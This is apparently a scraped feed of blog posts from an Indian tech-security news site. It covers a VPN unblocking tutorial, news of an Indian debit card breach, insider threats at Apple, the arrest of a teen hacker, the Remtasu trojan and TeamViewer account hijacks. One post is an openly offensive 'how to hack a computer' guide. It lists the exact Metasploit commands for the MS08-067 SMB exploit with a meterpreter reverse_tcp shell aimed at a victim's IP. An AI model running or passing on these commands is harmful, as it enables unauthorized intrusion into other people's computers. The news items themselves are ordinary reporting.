Hello, Welcome once again at Inspire Space, a free Indian technology and security news updates. As recently we are shocked because government has been blocked many sites and I got many email to share easiest way to surf that sites without any security major problems. So I'm going to share a standalone and a useful and easiest way to watch and access blocked sites without any kind of proxy and setup. Just you need to follow some of our steps and then you would be able to enjoy magics of internet.
Step 1 - First of all goto CyberGhost VPN official site and then you have to download setup file(Link is also given below to download setup file), don't worry it's simple and don't required any complicated setup process. Download setup from below link- Download Step 2 - After downloading setup file from official site, install it, probably it will takes few minutes of time for a proper installation. Step 3 - Once your setup finished directly goto www.cyberghostvpn.com and create a free account, it's only to confirm your account type, it will never ask to login each and every time. Step 4 - After above steps and process start Cyber Ghost and wait until it connects to its servers. After successful connectivity, enjoy full internet without any limitation.
F&Q:
How Cyber Ghost or Other VPN Works To Unblock Sites? Intresting, VPN means Virtual Private Network as definition it gives you components to surf private, secretly and access blocked or blue-pencilled substance. It offers first rate security and obscurity without being confused to utilize or easing off your web association. VPN route your connection to their own data center means if your current location is India after connecting your connection route some where else and that's reason you can able to access blocked site. Good and Bad with Cyber Ghost VPN -
Cyber Ghost awesome as my review and also perfect for free users.Each connection stable for 3 hours without disconnected.Better speed and no capping like proxy and other VPN.Anonymous and hide your privacy till usesMost trusted and secure featured on top site like TechCrunch, The New York Times etc.Easiest Way To Watch Blocked Sites Without Proxy
Why you should use VPN if you don't want to see blocked site ? If you are using Wi-fi or shared network and connection bypass using any router then it confirms your privacy depends on your service provider. Your each internet access going through your ISP (Internet Service Provider) and every privacy depend on them. Using VPN your connection routed and your ISP can't able to see what you are watching. It works like above image. Important- Being anonymous is good but only for good reason, so I'm sure you are not going to any misuse this useful tutorial. If this helped you take a second to like and share. Thanks and stay blessed!
Hey. So you want to hack a computer and you've got Kali linux installed? Then you are on the right place! I am going to show you how to hack a computer. Step 1: Start Kali Linux Start Kali Linux and start a new terminal. Step 2: Start the Metasploit console Start the Metasploit console by typing: msfconsole. This will take a few moments... Also read: Facebook is Going to make all your Private Photos Public Tomorrow — It's a Scam? Step 3: The commands: So Metasploit started. Here are the commands you need to type in: use windows/smb/ms08_067_netapi set PAYLOAD windows/meterpreter/reverse_tcp set LHOST *Your ip adress* (If you don't know your ip adress then open a new terminal and type ifconfig. your ip adress will be somewhere in the output :D) set LPORT 4444 set RHOST *victim's ip* set RPORT 445 exploit (You should connect)
Type help for a list of commands. Step 4: That's it! You are done. Thanks and stay blessed!
As reports surfaced of a suspected malware affecting as many 3.2 million debit cards, in what could be India's largest financial data breach, banks have largely denied their systems were affected reassuring customers even as they admitted that a breach had taken place. The suspected security breach happened through a malware in the systems of Hitachi Payments Services, which serves ATM network of Yes Bank and also some white-label ATMs. Here's a roundup of what banks and payment services providers have said: Yes Bank Yes Bank CEO Rana Kapoor has said, "As far as we are concerned, there are no such breaches or compromises... As an abundance of caution we have made sure and checked or double checked (our systems)...I am not an expert in ATMs... but there is a systemic issue. There will be some malwares on and off but there is heightened security. There are ATM models which are outsourced today and they require vigilance, quality and security controls." State Bank Of India In an e-mailed statement to HuffPost India SBI said, "Card network companies NPCI, Mastercard and Visa had informed various banks in India about a potential risk to some cards in India owing to a data breach. Accordingly, SBI has taken precautionary measures and have blocked cards of certain customers identified by the networks." "Card network companies NPCI, Mastercard and Visa had informed various banks in India about a potential risk to some cards in India owing to a data breach. Accordingly, SBI has taken precautionary measures and have blocked cards of certain customers identified by the networks...SBI is in the process of issuing new cards at no cost to the customers whose cards have been blocked. The Cardholders can generate the PIN through SMS/IVRS/internet banking without visiting the branch. Alternatively, the cardholders can collect the physical PIN mailer from their home branch." The statement added that SBI' systems have not been compromised, but the bank is in the process of issuing new cards to card holders whose cards have been blocked. SBI is reissuing 600,000 debit cards in addition to asking its customer to change their PINs. "This is a cards industry incident (not only SBI)," the statement added. Axis Bank In a statement to HuffPost India, Axis Bank said "the breach has occurred in the case of customers who have used certain non Axis Bank ATMs. Over the last few weeks, Axis Bank has proactively reached out to the affected customers and advised them to change their Debit Card PINs. The Axis Bank ATM network is fully secured and customers should ideally use Axis Bank ATMs to change their Debit Card PINs. " HDFC: HDFC Bank has said that it took action a few weeks ago. "Besides advising those customers who we know have used a non-HDFC Bank ATM in the recent past to change (their) ATM PIN, we are advising our customers to use only HDFC Bank ATMs as we believe security controls at some of the other bank ATMs may not be at par with HDFC Bank ATMs," a spokesperson said. "We take this opportunity to reiterate that it's always prudent to change ATM PINs from time to time. It prevents misuse. ICICI Bank ICICI Bank has also advised its customers to change their PIN. "We are using our real-time fraud monitoring systems to identify and proactively stop any misuse of the cards which may have been impacted by the alleged breach in that bank. We also urge our customers as part of our 'Safe Banking' communication to change their PIN periodically to prevent any misuse." Mastercard "We are aware of the data compromise event. To be clear, Mastercard's own systems have not been breached. At Mastercard, safety and security of payments is a top priority for us and we are working on the investigations with the regulators, issuers, acquirers, global and local law enforcement agencies and third party payment networks to assess the current situation." Visa "Visa does not currently process domestic debit ATM transactions in India, however we are working closely with all networks and our financial institution partners to support with investigations. Payment security is Visa's highest priority and cardholders can play an important part in keeping fraud at bay. Visa encourages cardholders to adopt the following measures: Change your Visa card PIN as soon as possible to prevent unauthorized access to your Visa card account; Contact your Visa card issuing bank immediately if you think your card account may have been compromised. In such instances, your bank can issue a replacement card Hitachi Systems Hitachi Payment Services' managing director Loney Antony has said "The interim report published by the audit agency in September, does not suggest any breach compromise in our systems. The final report is expected by mid-November. Following reports of the hack, Indian's Finance Ministry and central bank Reserve Bank of India have asked the banks to immediately assess and inform about the scale of the damage. Thanks and stay blessed!
An unsatisfied Employee may turn into a Nightmare for you and your organization. Nowadays, installing an antivirus or any other anti-malware programs would be inadequate to beef up the security to maintain the Corporate Database.
What would you do if your employee itself backstabbed you by breaching the Hypersensitive Corporate Secrets? Yes! There could be a possibility for an Internal Breach all the time. Just last year, an ex-employee stole Yandex Search Engine Source Code and tried to sell it for just $29,000 in the underground market. Over a few years, hackers have adopted various techniques ranging from Stress Attacks to Social Engineering tactics in order to gain the Classified Corporate information.
Hackers Offering $23,000 for Internal Access
Now hackers are rolling their dice for the next Deceptive Step to acquire Corporate Login Details of Irish Apple Employees in exchange of 20,000 Euro ($23,000 USD). The current situation is being faced by the employees of Apple's European Headquarters in Cork, Ireland. The offer had been made by the unknown hackers and criminals to the random Apple employees in their mailbox demanding the employee's Apple Login passwords in return of 20,000 Euros.
"You'd be surprised how many people get on to us, just random Apple employees," the anonymous employee said. "You get emails offering you thousands [of euros] to get a password to get access to Apple" stated. "I could sell my Apple ID login information online for €20,000 ($23,000) tomorrow. That’s how much people are trying" another employee quoted.
This new proposal had been made to the non-lifers of the company who would not spend there. Thus, widening a fluky entry to the database. By gaining the access to Apple Employee’s Login credentials, hackers could find the jewel in their pocket for their malicious activity from which they could amass the financial profit. Apple is considering this scam very seriously and till now, no employees had compromised his/her Login Credentials for illicit gain.
Internal Breach
One of the domestic threat to your organization is the INSIDER. According to a survey conducted by SANS last year, it is found that 71% of respondents are feared about the Insider Attack. The consequence of the threat may even result in the liquidation of your company. The Department of Homeland Security (DHS) and FBI also had a pressed up the issue by underlining that majority of the threats are the outcomes of an Insider. Lack of Technical Training to the employees, Lack of Budget and inappropriate policies broaden the chances of a breach. Hiring a Security Firm, Proper Training to all the Employees about latest threats, Shutting down of an employee Account soon after his/her Termination, Frequent changes applied in the Password, Limited Allowance of employees to sensitive docs, etc. would cover such vulnerabilities. Now, before purchasing the high-end firewalls or Virus Destructors, just turn around and look… ...Who’s at your back! Thanks and stay blessed!
The teenage hacker, who calls himself a member of hacktivist group "Cracka with Attitude," behind the series of hacks on the United States government and its high-level officials, including CIA director, might have finally got arrested.
In a joint effort, the Federal Bureau of Investigation (FBI) and British police reportedly have arrested a 16-year-old British teenager who they believe had allegedly:
Leaked the personal details of tens of thousands of FBI agents and US Department of Homeland Security (DHS) employees.
Hacked into the AOL emails of CIA director John Brennan.
Hacked into the personal email and phone accounts of the US spy chief James Clapper.
Broke into the AOL emails of the FBI Deputy Director Mark Giuliano.
Federal officials haven't yet released the identity of the arrested teenager, but the boy is suspected of being the lead hacker of Cracka With Attitude, who calls himself Cracka, the South East Regional Organised Crime Unit (SEROCU) told the Daily Dot. According to the report, Cracka is the same teenage hacker who recently leaked the personal information of 31,000 government agents belonging to nearly 20,000 FBI agents, 9,000 Department of Homeland Security (DHS) officers and some number of DoJ staffers.
Crime Unite Released a Statement
In a statement, the SEROCU confirmed that the unit had arrested a teenager on Tuesday in the East Midlands on suspicion of:
Conspiracy to commit unauthorised access to computer material contrary to Section 1 Computer Misuse Act 1990.
Conspiracy to commit unauthorised access with intent to commit further offences contrary to Section 2 Computer Misuse Act 1990.
Conspiracy to commit unauthorised acts with intent to impair or with recklessness as to the impairing operation of a computer contrary to Section 3 Computer Misuse Act 1990.
Accused Teen: Authorities Ruining My Life
The unit declined to provide any further information on the arrest, but while speaking to Motherboard, the arrested teenager denied being Cracka, saying "I am not who you think I am ;) ;) ;)"
"I am innocent until proven guilty so I have nothing to be worried about," the teen said. "They are trying to ruin my life."
Neither the Department of Justice (DoJ) nor the FBI have yet responded to comment on it. Thanks and stay blessed!
A newly discovered Facebook hacking tool actually has the capability to hack Facebook account, but YOURS, and not the one you desire to hack. How to Hack Facebook account? How to Hack my Girlfriends Facebook account? My boyfriend is cheating on me, How do I hack his Facebook Account?
These are the queries that most of the Internet users search on Google. But Beware! If you come across any Facebook hacking tool that promises you to help you hack your friends Facebook accounts, you may end up downloading a hacking tool that could hack you, instead of them. Facebook Hacking Tool that Can Really Hack, But Your Accounts Dubbed Remtasu, the tool is marketing itself as a Facebook hacking tool but actually is a Windows-based Trojan that has accelerated globally over the past year, and has now capability to disguise itself as an app for accessing people's Facebook account credentials. The tool contains a Keylogger that can capture all your keystrokes and store them in a file that is subsequently sent to the attacker's server. The malicious Facebook hacking tool is exploiting "the constant desire of a lot of users to take control of accounts from this well-known social network," according to a Monday blog post by IT security company ESET.
How Remtasu Works:
The malicious tool is delivered via direct download websites. Once a user visits one of these websites, the dangerous Win32/Remtasu.Y malware automatically gets downloaded and executed on victim's machine and hide itself among other files. Remtasu has capability to:
Open and obtain information from the clipboard.
Capture keystrokes.
Store all the data in a file which is subsequently sent to an FTP server.
The worst part is yet to come:
The malware remains on the infected computer even when the victim reboots their system or attempts to find the malware threat in the list of active processes. "In this case, the malware replicates itself, saving the copy in a folder that it also creates within the system32 folder," reads the post. "The new InstallDir folder remains hidden inside the system files, making it difficult for users to access." Most affected parts of the world include Colombia, Turkey, Thailand and elsewhere. In past, Remtasu was distributed through malicious files attached to phishing emails purporting to be from legitimate government or businesses organisations.
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Do you have remote login software TeamViewer installed on your desktop? If Yes, then it could be possible that your system can be accessed by attackers to steal your personal details, including your bank and PayPal accounts, as several reports on Reddit and Twitter suggests.
According to recent reports, the popular TeamViewer software that is used to remotely control PCs appears to have been HACKED! Over the past few days, a number of users headed on to the Internet forums to report that unknown attackers are taking control of their computers through their TeamViewer accounts and, in some cases, trying to steal money through services like eBay or PayPal. This same behavior has also been reported by the IBM security researcher Nick Bradley, who said:
"In the middle of my gaming session, I lose control of my mouse, and the TeamViewer window pops up in the bottom right corner of my screen. As soon as I realize what is happening, I kill the application. Then it dawns on me: I have other machines running TeamViewer!"
But, the question still remains: What really happened to TeamViewer? Actually, no one knows, at least, for now. Because no evidence indicates a system-wide security breach at TeamViewer that could have given the attackers some sort of backdoor into users' PCs. TeamViewer has also reacted by strongly denying the claims that the intrusions are the result of a hack on TeamViewer's network. Instead, the account takeovers are the result of end users' carelessness. Moreover, the company referred to the recent widespread "mega breaches" that have dumped over 642 Million passwords over the past month.
"As you have probably heard, there have been unprecedented large-scale data thefts on popular social media platforms and other web service providers," the company wrote.
"Unfortunately, credentials stolen in these external breaches have been used to access TeamViewer accounts, as well as other services."
However, TeamViewer stands strong by its statement that a Denial of Service (DoS) attack knocked some of its servers offline on Wednesday, but the company managed to bring them back online after a few hours. The company advised its users to avoid careless use of its service and always:
Use a different password for each account.
Use two-factor authentication.
Use a password manager.
Don't tell other people your passwords.
Moreover, TeamViewer also announced two new features on Friday aimed at boosting its users' security after numerous users flocked online to complain about getting hacked through its service. The two new features are:
Trusted Devices
Data Integrity
The Trusted Devices feature is specifically designed to prevent hackers from taking over your TeamViewer account. The feature allows you to approve the new device as trusted before it can access an existing TeamViewer account for the first time. The device approval process is conducted by clicking a validation link sent to the account owner's email address. The second feature, dubbed Data Integrity, works by automatically monitoring a user's account activity. If it detects any unusual behavior that might suggest account has been hacked, the service forces users to reset their password.
Here's What you should do:
TeamViewer users are strongly recommended to change their account passwords and use a strong one, and of course, NOT to use the same credentials across multiple sites. I know, remembering different passwords for different accounts is a real pain, but you can use a good password manager to solve this issue. Meanwhile, users should also ensure their TeamViewer accounts are protected with a randomly generated password that is at least 10 characters long, contains numbers, symbols, and uppercase and lowercase letters, and is unique. It is always a good idea to run the TeamViewer software only when it's truly needed, instead of allowing it to auto-start each time your PC is turned on. If you have also experienced something fishy with your TeamViewer account, let us know in the comments below. Thanks and stay blessed!